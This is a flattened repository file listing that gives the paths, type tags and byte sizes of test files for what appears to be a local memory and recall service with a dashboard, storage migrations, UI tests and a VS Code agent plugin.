bytestests/test_server/test_dashboard_search_fallback_matches_recall.pyruns2,491 bytestests/test_server/test_dashboard_stays_fast_under_background_load.pyruns7,401 bytestests/test_server/test_engine_upgrade_routes.pyruns7,435 bytestests/test_server/test_enrichment_pool_lifecycle.pyruns8,100 bytestests/test_server/test_enrichment_submission_is_bounded.pyruns11,341 bytestests/test_server/test_entity_explorer_determinism.pyruns4,339 bytestests/test_server/test_entity_tier_profile_default_isolation.pyruns6,073 bytestests/test_server/test_erasure_after_completion.pyruns7,532 bytestests/test_server/test_erasure_visibility.pyruns13,732 bytestests/test_server/test_explicit_recall_queue.pyruns13,714 bytestests/test_server/test_export_marks_media_memories.pyruns4,373 bytestests/test_server/test_export_routes_on_a_real_store.pyruns8,081 bytestests/test_server/test_export_spool_is_owner_only.pyruns1,288 bytestests/test_server/test_f10_ranker_tamper_check.pyruns5,008 bytestests/test_server/test_f2_backfill_status_surface.pyruns1,942 bytestests/test_server/test_f6_repair_loop_broad_catch.pyruns3,775 bytestests/test_server/test_f8_behavioral_connection_close.pyruns3,250 bytestests/test_server/test_facets_rbac.pyruns3,675 bytestests/test_server/test_fallback_fidelity_budget_starts_after_the_search.pyruns1,614 bytestests/test_server/test_fallback_source_fidelity.pyruns6,640 bytestests/test_server/test_features_reply_is_fast.pyruns3,203 bytestests/test_server/test_features_routes.pyruns9,705 bytestests/test_server/test_glance_and_hook_recall_answer.pyruns5,613 bytestests/test_server/test_hook_event_writer.pyruns9,031 bytestests/test_server/test_hook_events_route.pyruns4,021 bytestests/test_server/test_http_error_responses.pyruns3,647 bytestests/test_server/test_http_eventbus_emissions.pyruns6,470 bytestests/test_server/test_ingestion_boot_sweep.pyruns4,725 bytestests/test_server/test_insights_changed_this_week_kind.pyruns5,135 bytestests/test_server/test_keyword_fallback_facets_over_http.pyruns2,485 bytestests/test_server/test_keyword_fallback_finds_natural_questions.pyruns3,657 bytestests/test_server/test_keyword_fallback_honours_filters.pyruns4,853 bytestests/test_server/test_keyword_fallback_tiers.pyruns3,159 bytestests/test_server/test_layered_recall_reaches_every_door.pyruns4,384 bytestests/test_server/test_learning_readiness_route.pyruns1,694 bytestests/test_server/test_legacy_port_ownership.pyruns6,519 bytestests/test_server/test_lifecycle_compact.pyruns3,295 bytestests/test_server/test_local_apps_detection.pyruns3,250 bytestests/test_server/test_local_apps_routes.pyruns3,131 bytestests/test_server/test_local_host_setup.pyruns1,910 bytestests/test_server/test_login_policy_is_not_read_per_request.pyruns2,571 bytestests/test_server/test_loopback.pyruns3,947 bytestests/test_server/test_loopback_origin_exact.pyruns1,539 bytestests/test_server/test_loopback_write_actor_consistency.pyruns2,279 bytestests/test_server/test_manual_heal_lifecycle.pyruns3,641 bytestests/test_server/test_mcp_profiles_endpoint.pyruns8,434 bytestests/test_server/test_memories_project_name_reads_metadata.pyruns5,273 bytestests/test_server/test_memories_shows_memory_kind.pyruns7,633 bytestests/test_server/test_memory_events_reach_the_stream.pyruns3,245 bytestests/test_server/test_memory_kinds_routes.pyruns16,925 bytestests/test_server/test_memory_scope.pyruns5,727 bytestests/test_server/test_mesh_broker_starts_off_the_event_loop.pyruns3,060 bytestests/test_server/test_mesh_event_loop_safety.pyruns834 bytestests/test_server/test_metrics_flush_no_reinit.pyruns1,248 bytestests/test_server/test_models_catalog_route.pyruns2,390 bytestests/test_server/test_mutation_gate_policy.pyruns19,274 bytestests/test_server/test_no_read_route_blocks_the_event_loop.pyruns1,809 bytestests/test_server/test_observebuffer_captured_count.pyruns2,031 bytestests/test_server/test_observebuffer_logging.pyruns3,040 bytestests/test_server/test_open_file_limit.pyruns1,557 bytestests/test_server/test_per_request_profile.pyruns33,245 bytestests/test_server/test_picking_an_ollama_model_from_the_dashboard.pyruns4,373 bytestests/test_server/test_pr253_calibration_cancel_api.pyruns3,219 bytestests/test_server/test_pr253_ingress_deadline.pyruns2,328 bytestests/test_server/test_pr253_timeout_notes.pyruns2,577 bytestests/test_server/test_profile_delete_moves_everything.pyruns11,861 bytestests/test_server/test_profile_path_resolution.pyruns4,105 bytestests/test_server/test_profile_preemption.pyruns20,347 bytestests/test_server/test_profile_runtime_background_pause.pyruns2,580 bytestests/test_server/test_profile_runtime_switch.pyruns31,146 bytestests/test_server/test_profile_switch_drain_timeout.pyruns15,005 bytestests/test_server/test_ratelimit_route.pyruns3,515 bytestests/test_server/test_rbac_company_mode_credential.pyruns11,803 bytestests/test_server/test_rbac_routes.pyruns18,610 bytestests/test_server/test_rbac_sec_02.pyruns11,769 bytestests/test_server/test_recall_health_heal_backoff.pyruns4,939 bytestests/test_server/test_recall_kind_filter_route.pyruns2,684 bytestests/test_server/test_recall_remote_view.pyruns4,516 bytestests/test_server/test_recall_retained_admission.pyruns6,346 bytestests/test_server/test_recall_serializer_kind_fields.pyruns3,237 bytestests/test_server/test_recall_trace_rbac_and_block.pyruns7,576 bytestests/test_server/test_recovery_is_installation_wide.pyruns8,180 bytestests/test_server/test_reindex_queued_reason.pyruns644 bytestests/test_server/test_reindex_save_messages.pyruns7,064 bytestests/test_server/test_related_reaches_people_not_agents.pyruns3,893 bytestests/test_server/test_remember_ceiling_counts_from_the_request.pyruns3,663 bytestests/test_server/test_remember_replaces_route.pyruns14,144 bytestests/test_server/test_remember_speaker_265.pyruns2,222 bytestests/test_server/test_remember_with_a_kind.pyruns8,208 bytestests/test_server/test_replaced_memory_enrichment.pyruns5,541 bytestests/test_server/test_require_credentials_h01.pyruns829 bytestests/test_server/test_rollback_message_is_true.pyruns1,861 bytestests/test_server/test_route_event_loop_contract.pyruns3,819 bytestests/test_server/test_route_mutation_policy.pyruns5,229 bytestests/test_server/test_routed_mutations.pyruns16,018 bytestests/test_server/test_routed_mutations_access.pyruns11,080 bytestests/test_server/test_runtime_config_route.pyruns4,273 bytestests/test_server/test_runtime_control_plane_security.pyruns6,475 bytestests/test_server/test_search_carries_media.pyruns2,313 bytestests/test_server/test_search_fallback_shows_memory_kind.pyruns5,297 bytestests/test_server/test_search_fast_param_and_profile_isolation.pyruns18,401 bytestests/test_server/test_search_kind_filter.pyruns2,784 bytestests/test_server/test_sec_h02_error_leakage.pyruns4,993 bytestests/test_server/test_security_h10_14.pyruns2,069 bytestests/test_server/test_session_open_is_not_a_question.pyruns2,831 bytestests/test_server/test_show_weak_reaches_recall.pyruns6,426 bytestests/test_server/test_source_quality_startup_repair.pyruns7,597 bytestests/test_server/test_spreading_activation_warmup.pyruns2,298 bytestests/test_server/test_status_in_company_mode.pyruns7,145 bytestests/test_server/test_stop_not_rate_limited.pyruns4,955 bytestests/test_server/test_store_check_routes.pyruns2,174 bytestests/test_server/test_streaming_lease_release.pyruns7,776 bytestests/test_server/test_strict_mode_install_token.pyruns1,877 bytestests/test_server/test_summaries_are_shown_without_pretending.pyruns14,097 bytestests/test_server/test_the_daemon_start_sends_nothing_for_checking.pyruns5,927 bytestests/test_server/test_the_dashboard_says_which_backend_is_really_running.pyruns3,779 bytestests/test_server/test_the_recall_in_flight_count_is_exact.pyruns4,352 bytestests/test_server/test_the_vector_backfill_reads_ids_not_every_fact.pyruns4,639 bytestests/test_server/test_transition_waits_for_background_units.pyruns2,972 bytestests/test_server/test_ui_cold_start_contract.pyruns960 bytestests/test_server/test_upgrade_banner_is_true.pyruns802 bytestests/test_server/test_upgrade_restore_public.pyruns4,685 bytestests/test_server/test_upgrade_restore_routes.pyruns4,548 bytestests/test_server/test_upgrade_startup_order.pyruns1,383 bytestests/test_server/test_upload_housekeeping.pyruns1,275 bytestests/test_server/test_v4_deployment_and_ui_truth.pyruns4,670 bytestests/test_server/test_view_cache.pyruns1,652 bytestests/test_server/test_w8_disk_abort_not_a_crash.pyruns1,436 bytestests/test_server/test_w8_migration_notifications.pyruns5,549 bytestests/test_server/test_warmup_claims_only_real_vectors.pyruns2,607 bytestests/test_server/test_warmup_error.pyruns903 bytestests/test_server/test_wp19_memory_health_api.pyruns4,289 bytestests/test_server/test_wp19_stub_listing.pyruns1,938 bytestests/test_server/test_wp6_answer_check_status.pyruns1,328 bytestests/test_server/test_wp6_recall_deadline.pyruns8,243 bytestests/test_server/test_write_auth_apikey_regression.pyruns7,464 bytestests/test_server/test_write_identity.pyruns5,626 bytestests/test_server/test_write_rejection_names_the_right_header.pyruns2,727 bytestests/test_shard_plugin.pyruns2,410 bytestests/test_skills/__init__.pyruns0 bytestests/test_skills/test_slm_optimize_skill.pyruns7,815 bytestests/test_sources/__init__.pyruns0 bytestests/test_sources/conftest.pyruns4,512 bytestests/test_sources/test_api.pyruns5,949 bytestests/test_sources/test_audit2_ownership.pyruns5,006 bytestests/test_sources/test_background_pause.pyruns1,502 bytestests/test_sources/test_bytes_not_paths.pyruns3,567 bytestests/test_sources/test_copy_promotion.pyruns1,582 bytestests/test_sources/test_dead_borrows.pyruns3,792 bytestests/test_sources/test_default_scope.pyruns797 bytestests/test_sources/test_detect_secrets.pyruns4,176 bytestests/test_sources/test_fable_fb.pyruns33,085 bytestests/test_sources/test_features_switch.pyruns1,612 bytestests/test_sources/test_forget_empty.pyruns5,008 bytestests/test_sources/test_gates_real_roles.pyruns3,203 bytestests/test_sources/test_ignore.pyruns5,068 bytestests/test_sources/test_late_facts.pyruns5,039 bytestests/test_sources/test_lock_waits.pyruns4,785 bytestests/test_sources/test_mount_guard.pyruns3,007 bytestests/test_sources/test_obsidian_frontmatter.pyruns3,793 bytestests/test_sources/test_obsidian_links.pyruns3,460 bytestests/test_sources/test_obsidian_scan.pyruns5,686 bytestests/test_sources/test_paused_idle.pyruns1,420 bytestests/test_sources/test_paused_resume.pyruns1,924 bytestests/test_sources/test_pdf_images.pyruns4,514 bytestests/test_sources/test_picker_gates_real_roles.pyruns1,183 bytestests/test_sources/test_picker_routes.pyruns8,265 bytestests/test_sources/test_purge_with_backup_obligations.pyruns3,457 bytestests/test_sources/test_reads_real_roles.pyruns5,276 bytestests/test_sources/test_real_picture.pyruns5,835 bytestests/test_sources/test_remote_state.pyruns2,266 bytestests/test_sources/test_remount.pyruns3,341 bytestests/test_sources/test_remove_during_scan.pyruns3,115 bytestests/test_sources/test_root_and_links.pyruns3,482 bytestests/test_sources/test_roots.pyruns4,486 bytestests/test_sources/test_routes.pyruns6,177 bytestests/test_sources/test_safe_read.pyruns2,920 bytestests/test_sources/test_save_counter.pyruns4,815 bytestests/test_sources/test_scan_safety.pyruns4,418 bytestests/test_sources/test_scan_text.pyruns11,999 bytestests/test_sources/test_schema_upgrade.pyruns2,089 bytestests/test_sources/test_service.pyruns2,599 bytestests/test_sources/test_shared_ownership.pyruns6,248 bytestests/test_sources/test_targeted_scan.pyruns2,207 bytestests/test_sources/test_user_save_vs_folder.pyruns1,093 bytestests/test_sources/test_visibility_sources.pyruns3,395 bytestests/test_sources/test_walk_lstat.pyruns2,065 bytestests/test_sources/test_watcher.pyruns7,553 bytestests/test_sources/test_windows_reads.pyruns1,853 bytestests/test_sources/test_wiring.pyruns1,687 bytestests/test_stability_hardening_384.pyruns18,052 bytestests/test_storage/__init__.pyruns0 bytestests/test_storage/_upgrade_store.pyruns8,696 bytestests/test_storage/_write_lock_probe.pyruns4,241 bytestests/test_storage/test_384_stability.pyruns18,962 bytestests/test_storage/test_384_write_lock_hardening.pyruns17,000 bytestests/test_storage/test_386_canonical_write_boundary.pyruns12,412 bytestests/test_storage/test_386_write_coordinator_contention.pyruns14,228 bytestests/test_storage/test_a_cap_counts_one_workspace_at_a_time.pyruns5,054 bytestests/test_storage/test_a_failed_check_says_which_and_whether_it_matters.pyruns7,576 bytestests/test_storage/test_a_failed_connection_setup_closes_the_file.pyruns3,098 bytestests/test_storage/test_a_finished_repair_never_moves_memories.pyruns15,230 bytestests/test_storage/test_a_save_does_not_scan_the_store_under_the_write_lock.pyruns7,056 bytestests/test_storage/test_a_step_that_keeps_failing_says_so.pyruns2,989 bytestests/test_storage/test_a_store_older_than_its_indexes_still_opens.pyruns7,600 bytestests/test_storage/test_a_version_marker_is_one_row.pyruns8,125 bytestests/test_storage/test_access_log.pyruns6,702 bytestests/test_storage/test_agent_experience_store.pyruns20,486 bytestests/test_storage/test_an_update_copies_only_what_it_changes.pyruns7,716 bytestests/test_storage/test_archive_read_paths.pyruns2,636 bytestests/test_storage/test_authorising_an_id_does_not_need_its_content.pyruns6,232 bytestests/test_storage/test_backfill_embeddings_script.pyruns12,769 bytestests/test_storage/test_backfill_missing_embeddings.pyruns17,279 bytestests/test_storage/test_backup.pyruns45,512 bytestests/test_storage/test_backup_flush_portability.pyruns2,091 bytestests/test_storage/test_boot_time_restore.pyruns16,043 bytestests/test_storage/test_concurrency_soak.pyruns19,808 bytestests/test_storage/test_concurrent_db.pyruns9,739 bytestests/test_storage/test_correction_case_store.pyruns11,479 bytestests/test_storage/test_dashboard_cannot_lock_the_store.pyruns7,564 bytestests/test_storage/test_database.pyruns32,033 bytestests/test_storage/test_database_memory_kind_columns.pyruns15,012 bytestests/test_storage/test_deferred_migration_atomicity_contract.pyruns2,638 bytestests/test_storage/test_deferred_writes.pyruns1,212 bytestests/test_storage/test_doctor_never_offers_junk_as_worth_keeping.pyruns4,810 bytestests/test_storage/test_doctor_reads_the_vector_index.pyruns5,445 bytestests/test_storage/test_doctor_refiles_only_flagged_memories.pyruns5,775 bytestests/test_storage/test_downgrade_hold_message.pyruns3,997 bytestests/test_storage/test_embedding_migrator.pyruns24,770 bytestests/test_storage/test_embedding_pressure_status.pyruns1,389 bytestests/test_storage/test_embedding_projection.pyruns9,015 bytestests/test_storage/test_embedding_reindex_units.pyruns26,519 bytestests/test_storage/test_embedding_signature_normalize.pyruns4,028 bytestests/test_storage/test_embedding_width_follows_the_store.pyruns2,509 bytestests/test_storage/test_engine_upgrade_keeps_rows.pyruns3,297 bytestests/test_storage/test_engine_upgrade_migration.pyruns5,694 bytestests/test_storage/test_entity_link_repair.pyruns12,028 bytestests/test_storage/test_entity_link_repair_entry_points.pyruns3,383 bytestests/test_storage/test_erasure_visibility_migration.pyruns2,837 bytestests/test_storage/test_every_switch_door_is_guarded.pyruns3,927 bytestests/test_storage/test_execution_learning_v2.pyruns11,566 bytestests/test_storage/test_external_evidence_store.pyruns12,597 bytestests/test_storage/test_failed_snapshot_leaves_no_partial.pyruns624 bytestests/test_storage/test_fresh_install_restore_points.pyruns3,406 bytestests/test_storage/test_m016_scope_upgrade.pyruns3,778 bytestests/test_storage/test_m018_ingestion_operations.pyruns3,684 bytestests/test_storage/test_m021_ingestion_log_profile.pyruns3,507 bytestests/test_storage/test_m022_entity_aliases_profile.pyruns2,965 bytestests/test_storage/test_m026_rbac_memberships_fk.pyruns3,894 bytestests/test_storage/test_m028_fact_entity_associations.pyruns8,980 bytestests/test_storage/test_m029_behavioral_history_indexes.pyruns3,597 bytestests/test_storage/test_m030_entity_explorer_indexes.pyruns1,535 bytestests/test_storage/test_m033_projection_transactions.pyruns6,001 bytestests/test_storage/test_m035_erasure_receipts.pyruns5,033 bytestests/test_storage/test_m036_vector_row_map.pyruns3,215 bytestests/test_storage/test_m039_scene_fact_members.pyruns3,881 bytestests/test_storage/test_maintenance_hands_back_the_write_lock.pyruns5,745 bytestests/test_storage/test_managed_reindex_restart.pyruns4,716 bytestests/test_storage/test_managed_upgrade_failures.pyruns6,198 bytestests/test_storage/test_memory_kind_store.pyruns14,269 bytestests/test_storage/test_memory_kinds.pyruns9,446 bytestests/test_storage/test_memory_leak_soak.pyruns16,745 bytestests/test_storage/test_migration_dependency_and_version.pyruns7,454 bytestests/test_storage/test_migration_runner.pyruns43,628 bytestests/test_storage/test_migrations.pyruns6,324 bytestests/test_storage/test_migrations_content.pyruns14,101 bytestests/test_storage/test_models.pyruns12,677 bytestests/test_storage/test_no_ckpt_on_close.pyruns2,465 bytestests/test_storage/test_no_read_path_serves_a_retired_fact.pyruns10,190 bytestests/test_storage/test_no_read_path_shows_a_withheld_row.pyruns13,716 bytestests/test_storage/test_no_table_grows_without_a_reason.pyruns24,450 bytestests/test_storage/test_old_safety_copies_are_pruned.pyruns8,659 bytestests/test_storage/test_one_start_keeps_one_safety_copy.pyruns12,565 bytestests/test_storage/test_own_fact_repair.pyruns9,916 bytestests/test_storage/test_own_fact_repair_safety.pyruns8,892 bytestests/test_storage/test_prepare_downgrade.pyruns5,030 bytestests/test_storage/test_profile_delete_after_ordinary_recall.pyruns3,172 bytestests/test_storage/test_profile_fold_decisions.pyruns11,950 bytestests/test_storage/test_provenance_of_a_deleted_thing_is_not_provenance.pyruns7,271 bytestests/test_storage/test_quantized_store.pyruns15,548 bytestests/test_storage/test_read_snapshots_reuse_a_connection.pyruns5,789 bytestests/test_storage/test_reads_reuse_a_connection_per_thread.pyruns8,657 bytestests/test_storage/test_recent_memories_are_being_indexed_not_missing.pyruns3,660 bytestests/test_storage/test_recent_memories_read_only_an_index.pyruns4,099 bytestests/test_storage/test_reindex_ram_reservation.pyruns3,555 bytestests/test_storage/test_repair_runs_without_being_asked.pyruns26,663 bytestests/test_storage/test_replaced_memory.pyruns7,434 bytestests/test_storage/test_restore_cancel_stage.pyruns5,837 bytestests/test_storage/test_restore_damaged_live.pyruns5,950 bytestests/test_storage/test_restore_deletion_intent.pyruns5,165 bytestests/test_storage/test_restore_interrupted.pyruns6,756 bytestests/test_storage/test_restore_kind_edits.pyruns6,639 bytestests/test_storage/test_restore_learning.pyruns4,780 bytestests/test_storage/test_restore_leaves_no_large_wal.pyruns6,662 bytestests/test_storage/test_restore_newer_copy.pyruns3,742 bytestests/test_storage/test_restore_on_windows_file_rules.pyruns1,133 bytestests/test_storage/test_restore_points.pyruns5,230 bytestests/test_storage/test_restore_real_copy.pyruns4,535 bytestests/test_storage/test_restore_retention.pyruns6,767 bytestests/test_storage/test_restoring_a_fact_does_not_destroy_its_associations.pyruns10,323 bytestests/test_storage/test_restoring_a_memory_does_not_destroy_its_facts.pyruns5,926 bytestests/test_storage/test_reused_read_connections_are_safe.pyruns7,839 bytestests/test_storage/test_s9_w1_data_integrity.pyruns6,851 bytestests/test_storage/test_schema.pyruns10,891 bytestests/test_storage/test_scope_recall_equivalence.pyruns4,382 bytestests/test_storage/test_selfheal_write_starvation.pyruns20,234 bytestests/test_storage/test_single_writer_lock.pyruns17,959 bytestests/test_storage/test_snapshot_damaged_keyword_index_204.pyruns2,484 bytestests/test_storage/test_snapshot_file_modes.pyruns1,701 bytestests/test_storage/test_snapshot_manifest.pyruns8,185 bytestests/test_storage/test_store_repair.pyruns10,932 bytestests/test_storage/test_switch_lands_hub_baselines.pyruns9,195 bytestests/test_storage/test_temporal_validity_db.pyruns16,298 bytestests/test_storage/test_the_vector_export_leaves_out_withheld_facts.pyruns4,884 bytestests/test_storage/test_upgrade_repair.pyruns4,624 bytestests/test_storage/test_upgrade_safety_copy_leftovers.pyruns10,860 bytestests/test_storage/test_visibility_reads_do_not_read_row_bodies.pyruns2,690 bytestests/test_storage/test_w8_backup_ordering.pyruns13,840 bytestests/test_storage/test_w8_install_detector.pyruns15,478 bytestests/test_storage/test_wal_autocheckpoint.pyruns4,307 bytestests/test_storage/test_wp12b_qjl_search.pyruns983 bytestests/test_storage/test_wp19_enrichment.pyruns7,635 bytestests/test_storage/test_wp19_legacy_coverage.pyruns5,689 bytestests/test_storage/test_wp19_stub_rule.pyruns3,202 bytestests/test_storage/test_wp19_stubs.pyruns3,374 bytestests/test_storage/test_wp19_undo_after_fold.pyruns3,709 bytestests/test_storage/test_wp19_valid_from.pyruns2,468 bytestests/test_storage/test_wp5_indexed_enrichment.pyruns1,854 bytestests/test_storage/test_writes_wait_their_turn.pyruns6,728 bytestests/test_summaries/test_community_drill_down.pyruns3,838 bytestests/test_summaries/test_llm_output_hygiene.pyruns6,635 bytestests/test_summaries/test_project_picker_lists_saved_projects.pyruns6,830 bytestests/test_summaries/test_project_scope_and_coverage.pyruns7,009 bytestests/test_summaries/test_project_summary_saved_memories.pyruns4,235 bytestests/test_summaries/test_summaries_show_only_visible_memories.pyruns8,498 bytestests/test_summaries/test_summary_cli.pyruns2,870 bytestests/test_summaries/test_summary_mcp.pyruns2,165 bytestests/test_summaries/test_summary_routes.pyruns3,119 bytestests/test_surface_integrity/__init__.pyruns0 bytestests/test_surface_integrity/test_recall_answers_the_same_through_every_door.pyruns5,625 bytestests/test_surface_integrity/test_status_says_the_same_thing_everywhere.pyruns6,925 bytestests/test_surface_integrity/test_the_same_question_returns_the_same_many.pyruns5,594 bytestests/test_tagging/__init__.pyruns0 bytestests/test_tagging/test_extractors.pyruns4,587 bytestests/test_tagging/test_write_queryable_facets.pyruns4,750 bytestests/test_temporal_phase4_event_time.pyruns25,761 bytestests/test_topic_shift_hook.pyruns13,590 bytestests/test_trust/__init__.pyruns0 bytestests/test_trust/test_a_catch_all_is_not_a_reputation.pyruns4,889 bytestests/test_trust/test_gate_config.pyruns1,540 bytestests/test_trust/test_provenance.pyruns8,857 bytestests/test_trust/test_scorer.pyruns8,033 bytestests/test_trust_full.pyruns12,616 bytestests/test_ui/__init__.pyruns0 bytestests/test_ui/test_answer_check_tab_is_wired.pyruns1,957 bytestests/test_ui/test_brain_render.pyruns8,018 bytestests/test_ui/test_the_answer_check_says_what_runs.pyruns4,309 bytestests/test_ui/test_the_dashboard_says_which_channel_broke.pyruns5,998 bytestests/test_ui/test_wp10_adapter_list_hides_paths.pyruns3,015 bytestests/test_ui/test_wp10_adapter_paths_are_confined.pyruns5,579 bytestests/test_ui/test_wp10_adapter_readiness.pyruns4,579 bytestests/test_ui/test_wp10_backup_recovery.pyruns9,957 bytestests/test_ui/test_wp10_export_keeps_retention.pyruns3,372 bytestests/test_ui/test_wp10_feeds.pyruns2,533 bytestests/test_ui/test_wp10_kept_copy_is_named_and_removed.pyruns3,712 bytestests/test_ui/test_wp10_media_size.pyruns1,061 bytestests/test_ui/test_wp10_outcome_worker_is_identified.pyruns2,621 bytestests/test_ui/test_wp10_recovery_needed_blocks_start.pyruns5,107 bytestests/test_ui/test_wp10_restore_checks_free_space.pyruns4,579 bytestests/test_ui/test_wp10_restore_is_atomic.pyruns7,171 bytestests/test_ui/test_wp10_restore_marker_is_written_first.pyruns4,999 bytestests/test_ui/test_wp10_restore_worker_health.pyruns4,439 bytestests/test_ui/test_wp10_reused_pid_reads_as_dead_writer.pyruns1,990 bytestests/test_ui/test_wp10_rollback_is_independent.pyruns4,522 bytestests/test_ui/test_wp10_routes.pyruns4,229 bytestests/test_ui/test_wp10_running_restore_is_not_recovery.pyruns2,371 bytestests/test_ui/test_wp10_safety_copy_is_pinned.pyruns2,756 bytestests/test_ui/test_wp10_saved_adapter_paths_are_rechecked.pyruns6,057 bytestests/test_ui/test_wp10_settings_secret_filter.pyruns1,897 bytestests/test_ui/test_wp10_space_estimate_counts_media.pyruns1,643 bytestests/test_ui/test_wp10_space_estimate_counts_unsynced_media.pyruns3,529 bytestests/test_ui/test_wp10_summary_cache.pyruns1,663 bytestests/test_ui/test_wp10_unavailable_names_recovery.pyruns2,694 bytestests/test_v3_api.pyruns1,582 bytestests/test_version_consistency.pyruns9,128 bytestests/test_views/__init__.pyruns0 bytestests/test_views/_store.pyruns537 bytestests/test_views/test_one_run_path.pyruns6,166 bytestests/test_views/test_view_cli.pyruns6,695 bytestests/test_views/test_view_gdpr.pyruns3,117 bytestests/test_views/test_view_mcp.pyruns9,297 bytestests/test_views/test_view_routes.pyruns10,165 bytestests/test_views/test_view_store.pyruns9,226 bytestests/test_web_agent_instructions.pyruns4,045 bytestests/test_write_lock_hardening.pyruns6,647 bytestests/thread_leak_guard.pyruns7,543 bytestests/ui/features_helpers.mjsruns2,588 bytestests/ui/harness.mjsruns6,455 bytestests/ui/test_answer_check_settings.mjsruns18,327 bytestests/ui/test_answercheck_tab.mjsruns19,751 bytestests/ui/test_answercheck_tryit.mjsruns9,979 bytestests/ui/test_auto_settings_reindex_message.mjsruns2,960 bytestests/ui/test_backup_auth_failure.mjsruns2,582 bytestests/ui/test_backup_encryption_panel.mjsruns3,181 bytestests/ui/test_brain_truth_dashboard.mjsruns1,393 bytestests/ui/test_brain_ui_acceptance.mjsruns16,433 bytestests/ui/test_cache_bust_matches_content.mjsruns6,801 bytestests/ui/test_confirm_modal.mjsruns8,734 bytestests/ui/test_connected_apps.mjsruns42,667 bytestests/ui/test_connected_apps_replaced.mjsruns11,099 bytestests/ui/test_connection_abilities.mjsruns5,329 bytestests/ui/test_contrast_token_sweep.mjsruns5,102 bytestests/ui/test_control_plane_contract.mjsruns4,209 bytestests/ui/test_dash_home_help_theme.mjsruns8,559 bytestests/ui/test_dashboard_activity_local_day.mjsruns2,862 bytestests/ui/test_dashboard_browsing_truth.mjsruns4,578 bytestests/ui/test_dashboard_cache.mjsruns7,707 bytestests/ui/test_dashboard_release_identity.mjsruns1,866 bytestests/ui/test_dashboard_source_truth.mjsruns942 bytestests/ui/test_erase_outcome_states_what_remains.mjsruns2,316 bytestests/ui/test_event_stream_types.mjsruns3,834 bytestests/ui/test_export_reports_the_real_outcome.mjsruns6,753 bytestests/ui/test_fetch_invalidation.mjsruns4,680 bytestests/ui/test_fg3_classification.mjsruns4,418 bytestests/ui/test_governance_recovery_controls.mjsruns3,733 bytestests/ui/test_governance_wording_reproductions.mjsruns2,667 bytestests/ui/test_ingestion_badges_say_what_the_api_reports.mjsruns2,412 bytestests/ui/test_local_apps_detection.mjsruns3,825 bytestests/ui/test_local_harness_connections.mjsruns9,396 bytestests/ui/test_memories_kind_label_render.mjsruns4,042 bytestests/ui/test_memories_render.mjsruns4,517 bytestests/ui/test_mode_quick_switch_guard.mjsruns2,603 bytestests/ui/test_model_pickers.mjsruns5,607 bytestests/ui/test_od_botmessages_pane.mjsruns24,151 bytestests/ui/test_od_brain_reward_truth.mjsruns2,114 bytestests/ui/test_od_engine_upgrade.mjsruns7,508 bytestests/ui/test_od_features_card.mjsruns8,187 bytestests/ui/test_od_graph_draw_calls.mjsruns12,452 bytestests/ui/test_od_graph_label_clipping.mjsruns6,436 bytestests/ui/test_od_graph_perf_budget.mjsruns904 bytestests/ui/test_od_media_pane.mjsruns20,689 bytestests/ui/test_od_media_polish.mjsruns10,529 bytestests/ui/test_od_media_retry.mjsruns4,050 bytestests/ui/test_od_mesh_local_sessions.mjsruns770 bytestests/ui/test_od_new_panes_nav.mjsruns2,811 bytestests/ui/test_od_ops_health_erasure.mjsruns2,970 bytestests/ui/test_od_restart_shared.mjsruns1,137 bytestests/ui/test_od_settings_background_refresh.mjsruns1,277 bytestests/ui/test_od_shell_navigation.mjsruns9,517 bytestests/ui/test_od_signin_gate.mjsruns3,091 bytestests/ui/test_od_sources.mjsruns14,425 bytestests/ui/test_od_sources_picker.mjsruns8,934 bytestests/ui/test_od_star_ask.mjsruns4,629 bytestests/ui/test_od_startup_and_state_mascots.mjsruns3,284 bytestests/ui/test_od_team_owner_needs_no_signin.mjsruns1,885 bytestests/ui/test_od_welcome.mjsruns13,059 bytestests/ui/test_od_whatsnew_card.mjsruns11,869 bytestests/ui/test_pane_error.mjsruns16,984 bytestests/ui/test_profile_switch.mjsruns3,369 bytestests/ui/test_quick_actions_changed_this_week_kind.mjsruns2,361 bytestests/ui/test_recall_lab_badge_contrast.mjsruns8,001 bytestests/ui/test_responsive_acceptance.mjsruns9,826 bytestests/ui/test_runner_invocation_is_documented_correctly.mjsruns3,177 bytestests/ui/test_saved_views_and_summaries_panes.mjsruns11,476 bytestests/ui/test_scope_settings.mjsruns2,040 bytestests/ui/test_search_keeps_shared_scope_in_drawer.mjsruns2,460 bytestests/ui/test_settings_auth_failure.mjsruns2,838 bytestests/ui/test_settings_reindex_progress.mjsruns9,535 bytestests/ui/test_settings_save_outcome.mjsruns5,429 bytestests/ui/test_settings_saves_tell_the_truth.mjsruns3,228 bytestests/ui/test_store_check.mjsruns4,465 bytestests/ui/test_stored_text_cannot_break_out_of_attributes.mjsruns4,539 bytestests/ui/test_strict_mode_key_prompt.mjsruns5,949 bytestests/ui/test_web_access_status.mjsruns8,245 bytestests/ui/test_wp10_accessible_tasks.mjsruns7,834 bytestests/ui/test_wp10_backup_tasks.mjsruns4,353 bytestests/ui/test_wp10_daily.mjsruns2,715 bytestests/ui/test_wp10_feed_paging.mjsruns1,973 bytestests/ui/test_wp10_memory_governance.mjsruns5,414 bytestests/ui/test_wp19_memory_health.mjsruns8,936 bytestests/ui/test_wp19_stub_badge.mjsruns1,692 bytestests/ui/test_wp6_recall_states.mjsruns708 bytestests/upgrade/README.mddoc3,352 bytestests/upgrade/_slm_env.pyruns15,088 bytestests/upgrade/_verdicts.pyruns11,093 bytestests/upgrade/build_fixture.pyruns8,147 bytestests/upgrade/corpus.pyruns5,722 bytestests/upgrade/manifests/3.4.21.jsonasset3,133 bytestests/upgrade/manifests/4.0.10.jsonasset4,843 bytestests/upgrade/manifests/4.1.20.jsonasset5,391 bytestests/upgrade/manifests/4.1.21.jsonasset5,462 bytestests/upgrade/manifests/4.1.22.jsonasset5,629 bytestests/upgrade/manifests/4.1.23.jsonasset5,629 bytestests/upgrade/manifests/4.1.24.jsonasset5,629 bytestests/upgrade/test_corpus.pyruns3,609 bytestests/upgrade/test_fail_closed.pyruns14,429 bytestests/upgrade/test_scratch_guard.pyruns6,743 bytestests/upgrade/test_upgrade_fixtures.pyruns2,405 bytestests/upgrade/upgrade_check.pyruns16,548 bytestests/vector/test_lancedb_backend.pyruns9,169 bytestests/vector/test_lancedb_dimension.pyruns2,495 bytestests/vector/test_lancedb_loop_never_blocks_exit.pyruns712 bytestests/vector/test_lancedb_tier_injection.pyruns828 bytestests/vector/test_vector_parity_repair_native.pyruns4,799 bytesuv.lockasset610,794 bytesvscode-agent-plugin/.claude-plugin/plugin.jsonasset979 bytesvscode-agent-plugin/.mcp.jsonasset183 